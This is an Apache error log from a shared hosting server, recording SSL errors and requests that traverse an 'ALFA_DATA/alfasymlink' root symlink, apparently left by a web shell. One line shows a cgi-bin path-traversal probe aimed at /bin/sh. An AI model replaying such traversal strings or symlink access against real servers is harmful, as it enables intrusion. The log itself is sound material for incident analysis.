[Mon Oct 26 16:43:54.189514 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 34.239.197.197:64105] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:43:58.172112 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 52.45.92.83:23056] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:44:02.386216 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 18.205.91.101:34534] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:44:18.180672 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 54.83.180.239:65116] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:44:26.160284 2026] [core:error] [pid 3084056:tid 3084056] (13)Permission denied: [client 18.209.137.234:40809] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/device:05/physical_node/rescan
[Mon Oct 26 16:44:30.162801 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 3.230.69.161:7123] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:44:42.249728 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 52.45.77.169:27973] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:44:50.176815 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 52.205.141.124:3124] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:44:54.181393 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 35.173.18.61:4736] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:45:18.192263 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 34.236.185.101:59763] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:45:43.603195 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 85.208.96.193:50288] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:45:58.160255 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 3.223.181.32:34305] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:46:10.155467 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 52.44.148.203:37647] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:46:34.221334 2026] [ssl:error] [pid 3084056:tid 3084056] (5)Input/output error: [client 34.194.226.74:13235] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:46:46.172924 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 44.221.227.90:7764] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:46:52.065239 2026] [core:error] [pid 3083765:tid 3083765] (13)Permission denied: [client 185.191.171.8:46284] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/MPTCP/cpu_partial
[Mon Oct 26 16:46:54.293566 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 3.223.181.32:36593] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:46:58.180225 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 54.87.62.248:25433] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:47:06.149407 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 3.94.40.182:40125] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:47:10.308392 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 52.207.47.227:58456] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:47:17.050755 2026] [security2:error] [pid 3058816:tid 3058816] [client 43.164.3.182:57394] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/miescurlax.com/"] [unique_id "at-8Vc-doU5lRL_NAI8QRQAAAAE"]
[Mon Oct 26 16:47:17.052373 2026] [authz_core:error] [pid 3058816:tid 3058816] [client 43.164.3.182:57394] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.com/php.ini
[Mon Oct 26 16:47:22.211852 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 54.88.84.219:4106] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:47:23.105272 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 185.191.171.11:64892] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:47:26.365433 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 50.19.102.70:62682] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:47:34.170597 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 18.209.201.119:52804] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:47:38.337189 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 44.217.177.142:26592] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:47:45.774717 2026] [core:error] [pid 3082381:tid 3082381] (13)Permission denied: [client 185.191.171.14:39270] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-1k/aliases
[Mon Oct 26 16:47:47.490124 2026] [core:error] [pid 3084056:tid 3084056] (13)Permission denied: [client 85.208.96.198:34746] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_io_end/trace
[Mon Oct 26 16:47:48.793315 2026] [core:error] [pid 3058816:tid 3058816] (13)Permission denied: [client 85.208.96.201:22004] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pde_opener/objs_per_slab
[Mon Oct 26 16:47:54.210167 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 23.21.148.226:6536] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:48:02.152544 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 18.209.201.119:60889] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:48:10.205882 2026] [security2:error] [pid 3082381:tid 3082381] [client 52.203.68.145:40762] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/usr/lib/firmware/nvidia/ga104/nvdec/"] [unique_id "at-8is0m493Zc8QU76tj5AAAAA0"]
[Mon Oct 26 16:48:10.205927 2026] [security2:error] [pid 3082381:tid 3082381] [client 52.203.68.145:40762] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/usr/lib/firmware/nvidia/ga104/nvdec/"] [unique_id "at-8is0m493Zc8QU76tj5AAAAA0"]
[Mon Oct 26 16:48:22.146088 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 44.205.192.249:46393] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:48:34.134193 2026] [core:error] [pid 3098116:tid 3098116] (13)Permission denied: [client 44.223.232.55:58252] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/PNP0501:01/subsystem/uevent
[Mon Oct 26 16:48:35.183347 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 85.208.96.208:28996] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/RAWv6/destroy_by_rcu
[Mon Oct 26 16:48:50.283442 2026] [core:error] [pid 3085795:tid 3085795] (13)Permission denied: [client 85.208.96.197:16466] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/trace_event_file/order
[Mon Oct 26 16:49:02.178859 2026] [ssl:error] [pid 3082381:tid 3082381] (5)Input/output error: [client 100.29.128.75:37714] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:49:10.292887 2026] [core:error] [pid 3084056:tid 3084056] (13)Permission denied: [client 52.3.155.146:54284] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory11/subsystem/devices/memory4/node0/compact
[Mon Oct 26 16:49:14.212124 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 3.81.253.213:17759] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:49:18.164774 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 100.27.153.9:14088] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:49:22.131719 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 3.213.213.161:6406] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:49:46.171703 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 100.28.204.82:64652] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:49:50.178319 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 54.80.185.200:29222] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:49:54.134202 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 50.16.216.166:36388] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:50:02.265948 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 3.216.227.216:17861] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:50:14.154162 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 54.210.155.69:12667] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:50:28.344378 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 85.208.96.195:30458] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_mrt_cache/reclaim_account
[Mon Oct 26 16:50:30.143143 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 52.204.71.8:53665] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:50:38.268057 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 44.210.204.255:11024] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:50:54.206087 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 3.224.215.150:13875] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:50:58.148174 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 52.45.92.83:49766] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:51:26.162430 2026] [core:error] [pid 3085795:tid 3085795] (13)Permission denied: [client 52.45.15.233:44192] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory9/subsystem/uevent
[Mon Oct 26 16:51:30.260573 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 3.223.181.32:36677] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:51:42.153329 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 3.217.82.254:63042] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:51:51.908323 2026] [core:error] [pid 3085795:tid 3085795] (13)Permission denied: [client 85.208.96.196:42314] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-96/order
[Mon Oct 26 16:52:14.196234 2026] [core:error] [pid 3085795:tid 3085795] (13)Permission denied: [client 44.218.170.184:20471] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/ata_piix/module/uevent
[Mon Oct 26 16:52:18.139636 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 52.2.191.202:9176] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:52:22.281774 2026] [core:error] [pid 3084056:tid 3084056] (13)Permission denied: [client 44.212.232.231:50217] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0d/subsystem/devices/ACPI0010:00/LNXCPU:01/physical_node/crash_notes_size
[Mon Oct 26 16:52:30.231216 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 98.83.178.66:52914] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:52:38.361350 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 52.202.52.82:44902] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:52:42.187671 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 52.200.58.199:61018] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:52:50.247020 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 44.221.105.234:3640] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:52:58.227101 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 98.82.59.253:30153] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:53:23.435124 2026] [core:crit] [pid 3098116:tid 3098116] (13)Permission denied: [client 16.216.88.134:16384] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/boot/grub2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/boot/grub2/' is executable
[Mon Oct 26 16:53:28.036911 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 85.208.96.198:30942] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:53:46.383702 2026] [core:error] [pid 3058816:tid 3058816] (13)Permission denied: [client 3.229.2.217:52751] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:00/subsystem/devices/device:0e/subsystem/drivers/hardware_error_device/bind
[Mon Oct 26 16:53:58.458678 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 18.208.11.93:63714] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:54:06.447983 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 54.89.90.224:43760] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:54:10.582564 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 54.159.18.27:1207] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:54:18.495552 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 52.200.54.136:16926] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:54:38.400627 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 34.234.200.207:1920] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:54:43.610565 2026] [core:error] [pid 3098116:tid 3098116] (13)Permission denied: [client 185.191.171.10:33768] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/radix_tree_node/order
[Mon Oct 26 16:54:46.668249 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 3.89.176.255:64147] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:54:55.951267 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 185.191.171.11:31474] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/kcare/sections/__ksymtab_strings
[Mon Oct 26 16:54:58.746002 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 100.25.120.246:42668] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:55:03.113700 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 18.209.201.119:23218] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:55:06.537104 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 54.157.84.74:23238] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:55:10.507796 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 54.225.181.161:30343] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:55:14.475307 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 54.91.122.193:60211] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:55:18.558441 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 34.192.125.239:46255] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:55:23.873439 2026] [security2:error] [pid 3089355:tid 3089355] [client 43.130.39.254:54888] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/escu.com/"] [unique_id "at--O2l9busrkyxI7OQWtwAAAAI"]
[Mon Oct 26 16:55:23.896513 2026] [authz_core:error] [pid 3089355:tid 3089355] [client 43.130.39.254:54888] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escu.com/php.ini
[Mon Oct 26 16:55:26.475158 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 98.83.177.42:32102] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:55:50.562334 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 52.45.29.57:15948] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:56:02.521340 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 52.45.15.233:19690] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:56:06.495354 2026] [ssl:error] [pid 3052342:tid 3052342] (5)Input/output error: [client 34.197.28.78:55193] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:56:09.917183 2026] [core:error] [pid 3058816:tid 3058816] (13)Permission denied: [client 185.191.171.13:57200] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-16/cache_dma
[Mon Oct 26 16:56:10.522070 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 54.198.33.233:50047] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:56:13.495387 2026] [core:error] [pid 3084023:tid 3084023] [client 41.75.114.30:33350] AH10244: invalid URI path (/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh)
[Mon Oct 26 16:56:18.560525 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 54.90.244.132:49548] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:56:26.616519 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 34.234.200.207:9909] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:56:30.777605 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 3.232.82.72:50286] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:56:33.897986 2026] [core:error] [pid 3089355:tid 3089355] (13)Permission denied: [client 185.191.171.9:60304] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_prealloc_space/trace
[Mon Oct 26 16:56:42.560665 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 18.214.238.178:14819] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:56:46.815980 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 54.89.90.224:54399] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:56:50.648136 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 44.216.172.204:57536] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:56:56.180609 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 185.191.171.11:26194] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:57:02.722831 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 52.3.155.146:34934] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:57:10.607125 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 3.230.69.161:1783] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:57:15.357835 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 54.80.185.200:38988] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:57:18.659194 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 44.221.227.90:19880] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:57:26.787288 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 107.22.208.39:15129] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:57:27.755334 2026] [security2:error] [pid 3084023:tid 3084023] [client 43.154.127.188:45796] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.parkeranders.com"] [uri "/"] [unique_id "at--t3Ms9DEewnALzGZ0rwAAACM"]
[Mon Oct 26 16:57:38.788947 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 50.16.216.166:45688] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:57:42.770053 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 54.84.147.79:5019] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:57:47.846397 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 50.16.248.61:34294] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:57:50.769339 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 44.215.235.20:4047] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:57:54.811915 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 34.205.170.13:51229] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:57:58.995987 2026] [security2:error] [pid 3084053:tid 3084053] [client 23.23.180.225:53787] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/firmware_node/device:05/"] [unique_id "at--1vCtl1PgaN9A_9xK1AAAADQ"]
[Mon Oct 26 16:57:58.996030 2026] [security2:error] [pid 3084053:tid 3084053] [client 23.23.180.225:53787] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/firmware_node/device:05/"] [unique_id "at--1vCtl1PgaN9A_9xK1AAAADQ"]
[Mon Oct 26 16:58:02.775600 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 52.200.251.20:58688] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:58:06.797931 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 34.205.163.103:26162] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:58:10.738147 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 44.193.102.198:7087] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:58:19.041873 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 18.215.49.176:39317] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:58:22.790385 2026] [core:error] [pid 3064975:tid 3064975] (13)Permission denied: [client 34.236.135.14:55059] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:0e/subsystem/devices/device:03/physical_node/rescan
[Mon Oct 26 16:58:34.912258 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 3.222.85.38:22727] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:58:38.972870 2026] [core:error] [pid 3089355:tid 3089355] (13)Permission denied: [client 3.216.13.10:59305] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:1d/subsystem/drivers/hardware_error_device/bind
[Mon Oct 26 16:58:43.561959 2026] [core:error] [pid 3064975:tid 3064975] (13)Permission denied: [client 98.84.70.201:9755] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:05/physical_node/driver/unbind
[Mon Oct 26 16:58:46.965140 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 52.203.152.231:44670] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:58:50.967434 2026] [core:error] [pid 3084023:tid 3084023] (13)Permission denied: [client 34.235.239.240:49249] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/device/device/subsystem/devices/device:06/physical_node/driver/0000:00:04.0/resource4_wc
[Mon Oct 26 16:58:54.971465 2026] [core:error] [pid 3085795:tid 3085795] (13)Permission denied: [client 50.16.72.185:41060] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/PNP0A06:01/subsystem/devices/ACPI0010:00/LNXCPU:01/physical_node/node0/cpu0/crash_notes_size
[Mon Oct 26 16:58:58.921813 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 3.220.148.166:13176] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:59:15.316941 2026] [core:error] [pid 3089355:tid 3089355] (13)Permission denied: [client 98.82.59.253:32202] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/firmware_node/device:20/subsystem/drivers/ac/bind
[Mon Oct 26 16:59:19.193909 2026] [core:error] [pid 3064975:tid 3064975] (13)Permission denied: [client 54.209.100.30:24854] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/0000:00:01.3/remove
[Mon Oct 26 16:59:29.665341 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 98.80.130.239:41977] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:59:35.240141 2026] [core:error] [pid 3052342:tid 3052342] (13)Permission denied: [client 52.3.155.146:44699] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/ACPI0010:00/subsystem/drivers/hardware_error_device/bind
[Mon Oct 26 16:59:43.217449 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 52.7.13.143:16898] AH02013: coalesce failed to read from data bucket
